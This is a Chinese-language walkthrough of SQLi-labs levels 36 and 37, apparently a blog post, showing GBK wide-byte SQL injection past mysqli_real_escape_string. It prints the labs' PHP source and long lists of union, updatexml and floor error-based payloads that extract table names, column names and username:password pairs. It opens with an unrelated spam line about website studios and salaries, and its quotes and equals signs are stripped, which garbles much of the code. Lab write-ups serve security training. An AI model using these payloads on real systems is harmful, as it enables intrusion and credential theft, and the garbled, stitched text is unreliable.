学校网站开发工作室,做网站月薪10万,秦皇岛背后六个老大,平台网站怎么建设一、36关 GET单引号宽字节注入
请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’
首先我们进行测试#xff08;使用?id1\#xff0c;查看过滤后的回显#xff09; 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此#xff…一、36关 GET单引号宽字节注入
请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’
首先我们进行测试使用?id1\查看过滤后的回显 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此 所以这里我们判断使用了过滤函数进行了过滤所以我们首先查看源码。
1、源码分析
?php
//including the Mysql connect parameters.
include(../sql-connections/sqli-connect.php);
error_reporting(0);
function check_quotes($con1, $string)
{$stringmysqli_real_escape_string($con1, $string); return $string;
}
// take the variables
if(isset($_GET[id]))
{
$idcheck_quotes($con1, $_GET[id]);
//echo The filtered request is : .$id . br;
//logging the connection parameters to a file for analysis.
$fpfopen(result.txt,a);
fwrite($fp,ID:.$id.\n);
fclose($fp);
// connectivity
mysqli_query($con1, SET NAMES gbk);
$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;
$resultmysqli_query($con1, $sql);
$row mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo Your Login name:. $row[username];echo Your Password: .$row[password];}else {print_r(mysqli_error($con1));}
}else { echo Please input the ID as parameter with numeric value;}
?源码大致与前几关相同都是先过滤后查询查询成功输出查询到的信息如果没有查询成功那么输出报错信息。我们主要看下这个过滤函数从而计划如何进行绕过
function check_quotes($con1, $string)
{$stringmysqli_real_escape_string($con1, $string); return $string;
}可以看到里面主要使用了mysqli_real_escape_string函数在官网进行查看 可以看到官网说明对SQL语句特殊字符进行转义
危险字符转义后\\\\\
我们可以看到其实和前几关差不多尤其32关就过滤函数不一样剩下的都一样。
2、联合查询注入
上面我们消除了转义符号的威胁下面我们即可轻松的搭配别的注入方式完成注入之前通过源码分析由于查询成功输出了查询到的信息所以我们将使用联合查询的方式完成注入。 1、猜测字段 ?id1%df order by 4--从上面我们可以看到并没有第四列所以我们尝试使用3来进行测试
?id1%df order by 3--可以看到这里显示了通过1查询到的信息所以后面的内容为真即为该表的列数为3列下面我们测试使用联合查询进行注入 2、测试使用联合查询注入观察回显 ?id-1%df union select 1,2,3--这里我们可以看到回显的点在2与3字段所以我们直接随便选一个更改payload完成注入即可 3、爆出数据库中的表名 ?id-1%df union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--这里我们由于后面不能使用的单引号所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中从而引发报错所以这种方法其实是不可取的。 4、爆出数据库表名中的列名 ?id-1%df union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x656D61696C73--这里可以使用16进制来进行逃逸该十六进制为emails表转码的结果 可以看到这里也是可以的当然我们也可以使用嵌套子查询来进行
?id-1%df union select 1,group_concat(column_name),3 from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)--这里我相信大家也能看懂使用limit来代替表名更改limit即可完成所有表名列名的查询使用3,1即可看到users表的列名 可以看到有很多陌生的字段这里我也不懂先放着我遇到很多次在第一次使用floor进行报错注入时爆出列名也遇到了这样的情况但是我肯定这里我们数据库中表是没有这几列的 同时我之前进行猜字段数大家也看到了也是三个字段所以我们暂时放着。 5、爆出数据库表中的数据 ?id-1%df union select 1,group_concat(id,username,0x3a,password),3 from users--这样即可完成union注入。
3、updatexml报错注入
之前我们也分析了源码确定会显示报错的信息所以我们当然可以使用报错注入进行测试。 1、爆出当前数据库名称 ?id1%df and updatexml(1,concat(0x7e,database(),0x7e),1)--2、爆出当前数据库中的所有表名 ?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x7e),1)--3、爆出users可疑表的列名字段 ?id1%df and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),0x7e),1)--4、爆出数据完成updatexml报错注入 ?id1%df and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--4、floor报错注入
这里就直接上payload 1、查询当前数据库名称 ?id1%df or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--2、查询当前数据库下的所有表名 ?id1%df or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--?id1%df or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--3、查询当前数据库表下的列名 ?id1%df or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--需要注意上面这个与下面这个语句查的不是一个表一个是emails一个是users
?id1%df or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--4、查询users表中的数据 ?id1%df or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--二、37关 POST单引号宽字节注入
请求方式注入类型拼接方式POST联合、报错、布尔盲注、延时盲注username‘$uname’
本关其实与33关相似只是使用POST进行传参过滤方法与33关一致所以解法也差不多首先我们依旧是进行测试查看回显 可以看到uname以及passwd都进行了过滤所以我们其实依旧可以使用宽字节注入下面查看源码。
1、源码分析
?php
//including the Mysql connect parameters.
include(../sql-connections/sqli-connect.php);
// take the variables
if(isset($_POST[uname]) isset($_POST[passwd]))
{$uname1$_POST[uname];$passwd1$_POST[passwd];//echo username before addslashes is :.$uname1 .br;//echo Input password before addslashes is : .$passwd1. br;//logging the connection parameters to a file for analysis.$fpfopen(result.txt,a);fwrite($fp,User Name:.$uname1);fwrite($fp,Password:.$passwd1.\n);fclose($fp);$uname mysqli_real_escape_string($con1, $uname1);$passwd mysqli_real_escape_string($con1, $passwd1);//echo username after addslashes is :.$uname .br;//echo Input password after addslashes is : .$passwd; // connectivity mysqli_query($con1, SET NAMES gbk);$sqlSELECT username, password FROM users WHERE username$uname and password$passwd LIMIT 0,1;$resultmysqli_query($con1, $sql);$row mysqli_fetch_array($result, MYSQLI_BOTH);if($row){//echo font color #0000ff; //echo You Have successfully logged in\n\n ;echo Your Login name:. $row[username];echo Your Password: .$row[password];echo img src../images/flag.jpg /; }else {//echo Try again looser;print_r(mysqli_error($con1));}
}
?我们从源码中可以看到依旧是相同的配置只是变为了POST传参同时对于uname以及passwd都进行了过滤与36关相同的过滤方式所以我们依旧使用宽字节注入抓包进行改包测试。
$uname mysqli_real_escape_string($con1, $uname1);
$passwd mysqli_real_escape_string($con1, $passwd1);2、联合查询注入 1、猜字段 uname1%df order by 3#passwd1submitSubmit2、测试观察回显 uname-1%df union select 1,2#passwd1submitSubmit3、爆出该数据库下的表名 uname-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#passwd1submitSubmit4、爆出该数据库表下的列名 uname-1%df union select 1,group_concat(column_name) from information_schema.columns where table_name0x656D61696C73#passwd1submitSubmit上面使用十六进制的方式下面使用子查询的方式
uname-1%df union select 1,group_concat(column_name) from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)#passwd1submitSubmit5、爆出表的数据 uname-1%df union select 1,group_concat(id,0x3a,email_id) from emails#passwd1submitSubmit下面是users表
uname-1%df union select 1,group_concat(id,username,0x3a,password) from users#passwd1submitSubmit即可完成注入。
3、updatexml报错注入 1、爆出数据库名 uname1%df and updatexml(1,concat(0x7e,database(),0x7e),1)#passwd1submitSubmit2、爆出数据库名下的所有表名 uname1%df and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x7e),1)#passwd1submitSubmit3、爆出数据库下表的列名 uname1%df and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),0x7e),1)#passwd1submitSubmit5、爆出数据 uname1%df and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#passwd1submitSubmit即可完成updatexml报错注入。
4、floor报错注入 1、爆出数据库名 uname1%df or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit2、爆出数据库下的所有表名 uname1%df or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit3、爆出数据库表的列名 uname1%df or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit4、爆出数据 uname1%df or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#passwd1submitSubmit即可完成floor报错注入。